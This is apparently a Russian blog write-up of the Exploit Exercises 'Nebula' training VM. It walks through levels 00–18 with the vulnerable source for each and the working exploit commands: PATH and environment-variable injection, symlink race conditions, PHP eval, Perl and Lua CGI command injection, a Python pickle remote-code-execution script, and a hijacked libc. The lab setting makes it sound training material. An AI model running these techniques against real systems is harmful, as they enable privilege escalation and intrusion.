Как стать автором
Обновить

Exploit Exercises или ещё один сайт для любителей VulnHub

Время на прочтение 20 мин
Количество просмотров 14K


Всем доброго времени суток, спасибо, что читаете мои райтапы. Сегодня речь пойдёт ещё об одном сайте, который похож на VulnHub. Это Exploit Exercises. Несмотря на небольшое количество виртуалок, и их относительно давнюю публикацию, почерпнуть что-то новое можно и там. Тем более это компенсируется разнообразием и количеством уровней.

Начать предлагается с виртуальной машины под названием Nebula. Её мы сегодня и разберём.

Всего имеется 20 уровней, по следующим тематикам:

  • SUID files
  • Permissions
  • Race conditions
  • Shell meta-variables
  • $PATH weaknesses
  • Scripting language weaknesses
  • Binary compilation failures

Для каждого уровня создан отдельный пользователь levelXX, и пользователь flagXX привилегии которого нужно получить, для того чтобы выполнить от его имени команду getflag. Начнём!

Level00


Нас просят используя find найти и запустить SUID программу пользователя flag00.

Ищем:

level00@nebula:~$ find / -user flag00 2>/dev/null
/bin/.../flag00

Запускаем:

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Level01


Дан исходник уязвимого приложения, нужно выполнить getflag:

level1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}


Вот, что бывает когда доверяешь env :)

level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Level02


Ещё один пример уязвимой программы, которая доверяет переменным окружения:

level2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}


Просто меняем $USER:

level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account

Level03


Тут сорцев нет, но есть crontab, и опасные права для директории:

writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done


level03@nebula:/home/flag03$ ls -ahl
drwxrwxrwx 1 flag03 flag03    60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh

Спустя некоторое время:

level03@nebula:/home/flag03$ cat /tmp/flag 
You have successfully executed getflag on a target account

crontab -u flag03 -l
*/3 * * * * /home/flag03/writable.sh


Level04


А тут нас просят, используя эту программу, прочитать содержимое файла token:

level4.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}


level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token

Раз файл не должен содержать «token», он не будет содержать «token»:

level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk
level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 
06508b5e-8909-4f38-b630-fdb148a848a2

Level05


На этом уровне нас ждут не верно выставленные права для директории:

level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh/

Резервные копии это хорошо, посмотрим что там:

level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

Превосходно, приватный ssh-ключ. Подключаемся и выполняем getflag:

level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level06


В описании говорится про учетные данные из прошлых версий Unix.

level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Скармливаем хеш John'у, который определяет его как слово hello. Авторизуемся и забираем «флаг»:

level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level07


Пользователь flag07 написал своё первое приложение на Perl:

index.cgi
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));


Тут у нас отсутствие фильтрации параметров в переменной $host. Проверим порт, на котором оно висит:

level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007

И успешно проэксплуатируем:



Level08


Нас просят посмотреть дамп трафика и авторизоваться. Скачиваем его себе:

level08@nebula:~$ ls -lh /home/flag08
-rw-r--r-- 1 root   root    8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./

Посмотрим что там:



Странно что в пароле присутствуют непечатаемые символы, после извлечения HEX дампа этого пароля и некоторого преобразования, получаем такой результат:

62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."

Гугл быстро подсказал, что xterm использует байт 0x7f в качестве Backspace. Таким образом пароль: backd00Rmate.

Коннектимся и запускаем getflag:

$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account  

Level09


Нам доступна SUID обёртка на С для уязвимого PHP скрипта:

level9.php
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>


Строка $contents = preg_replace("/(\[email (.*)\])/e", «spam(\»\\2\")", $contents); довольно интересна:

  1. Если содержимое совпадает с регулярным выражением: "/(\[email (.*)\])/";
  2. Оно заменяется на функцию spam, которая в качестве аргумента принимает значение в круглых скобках. А затем выполняется

Мы можем отправить любую команду:

level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account

Level10


Программа которая полагаясь на access() отправляет по сети любой файл:

basic.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}


Идея проста, так как сначала проверяется доступ к запрашиваемому файлу, а уже потом он отправляется, то используя ссылки, нужно поймать момент, когда:

  1. Ссылка будет указывать на файл, доступ к которому имеется;
  2. access() проверит этот файл;
  3. Ссылка изменится на файл, доступа к которому у нас нет;
  4. Программа успешно нам его отправит

Реализуем это. Циклом меняем ссылки:

level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done

В другом окне запускаем цикл, который будет отправлять файл по ссылке:

level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done

У себя запускаем nc для прослушивания порта и вывода полученных данных:

while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done

И практически сразу получаем токен:

token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Используя его как пароль, логинимся под пользователем flag10:

level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level11


Есть программа, которая читает STDIN и выполняет его:

level11.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}


Но не всё так просто. Авторы пишут что есть, 2 решения, но как оказалось позже оба не работают. Но обо всём по порядку:

Сначала нас просят указать количество отправляемых байт, а затем в зависимости от этого количества, строка либо сразу передаётся в функцию process, либо предварительно данные копируются в память.

Функция process, XOR'ит их и затем отдаёт в system. Следовательно, нам нужно отправить строку, которая уже будет обработана XOR'ом:

flag11.py
#!/usr/bin/python
cmd = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = ''

for i in range(len(cmd)):
	char_byte = ord(cmd[i]) ^ key
	enc += chr(char_byte & 0xff)
	key = (key - ord(cmd[i])) & 0xff

if length != len(cmd):
	junk = "A" * (length - len(cmd))
	print( "Content-Length: %d\n%s%s" %(length, enc, junk) )
else:
	print( "Content-Length: %d\n%s" %(length, enc) )


Запускаем и ничего:

level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

В документации к функции system, находим это:

Не используйте system() в программах с привилегиями suid или sgid, потому что некоторые значения переменных окружения могут вызвать сбои в системе. Вместо нее рекомендуется использование семейства функций exec(3), но не execlp(3) или execvp(3). system() неправильно функционирует в программах с привилегиями suid или sgid тех систем, где /bin/sh заменено на bash версии 2, так как bash 2 обнуляет права при запуске. Debian использует измененный bash, который не производит при запуске этого действия так, как это делает sh.

Bash всех подвёл:

level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*

P.S. Проверив это на отдельно скомпилированном бинарнике, получаем тоже самое. Гугл результатов не дал, видимо авторы обновили bash, а обновить задание забыли...

Level12


Как сказано в описании: бэкдор на 50001 порту. Хм, посмотрим:

level12.lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end

while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end


И так, снова отсутствие фильтрации введённых данных. Добавим комментарий:

level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**

Ок, это сработало, попробуем нечто другое: 123; getflag > /tmp/flag12 #

level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$ 

Level13


Дан исходник, а самое главное вырезали, не хорошо:

level13_safe.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}


Извлекаем строки:

level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s

Дизассемблировав приложение в gdb, находим интересную строку:

0x080485a2 <+222>:	xor    $0x5a,%edx

У нас есть строка: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, у нас есть ключ: 0x5a, у нас есть операция: xor. Отправляем это в Python:

>>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'

И успешно проходим авторизацию:

level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level14


Дана программа, которая шифрует всё что идёт на STDIN и отправляет в STDOUT, и есть токен, который нас просят расшифровать:

level14@nebula:~$ cat /home/flag14/token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

Посмотрим на алгоритм в IDA:



Ну всё просто, 1 строка на Python:

>>> ''.join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'

Токен у нас, остался последний шаг:

level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level15


Нас просят посмотреть вывод команды strace, на наличие аномалий:

level15@nebula:~$ strace /home/flag15/flag15

strace
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!\n», 11strace it!
) = 11
exit_group(11)

Странно что программа пытается подгрузить либы из /var/tmp/flag15/. Попробуем подсунуть ему свою libc.so.6:

#include <stdio.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
        execv("/bin/getflag", NULL);
        return 0;
}

Компилим и запускаем:

level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c 
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
You have successfully executed getflag on a target account

Level16


Очередное Perl CGI приложение, которое висит на 1616 порту:

index.pl
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));


Содержимое $username сначала переводится в верхний регистр, а затем отправляется на исполнение через оператор ``.

Попытка, вставить команду, которая закрыла бы egrep, не увенчалась успехом. Но мы можем попробовать обойти верхний регистр с помощью метода из этой статьи:

level16@nebula:/tmp$ cat FLAG 
#!/bin/bash
getflag > /tmp/flag16log

Переходим в браузере по ссылке:

10.0.31.116:1616/index.cgi?username=`/*/FLAG`

И выводим наш флаг:

level16@nebula:/tmp$ cat flag16log 
You have successfully executed getflag on a target account


Level17


Как сказано в описании: Этот скрипт слушает порт 10007 и имеет уязвимость. Очень многословно.

level17.py
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)


Но уязвимость есть, она в строке: obj = pickle.loads(line). Вот тут можно подробней узнать об её эксплуатации. Напишем скрипт для исполнения команд:

#!/usr/bin/python
import socket
import pickle

host = '10.0.31.116'
port = 10007
cmd = '''cos
system
(S'getflag > /tmp/flag17'
tR'''

s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()

После запуска получаем RCE:

$ ./flag17.py 
Accepted connection from 10.0.31.183:50700

level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level18


Нас просят проанализировать исходник и найти уязвимости. Сделаем это:

level18.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}


  1. void notsupported(char *what) -> dprintf(what); # А вот и уязвимость форматной строки;
  2. void login(char *pw) -> fp = fopen(PWFILE, «r»); # Файл открывается, но, его никто не закрывает.

Остановимся на функции login, тем более как раз она отвечает за авторизацию. Попробуем создать очень много файловых дескрипторов. В результате, fopen должна вернуть NULL, а затем судя по коду, выставится флаг авторизации. Нам нужно будет только запустить shell:

python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty

Получаем кучу сообщений об авторизации, и собственно шелл:

logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account

Level19


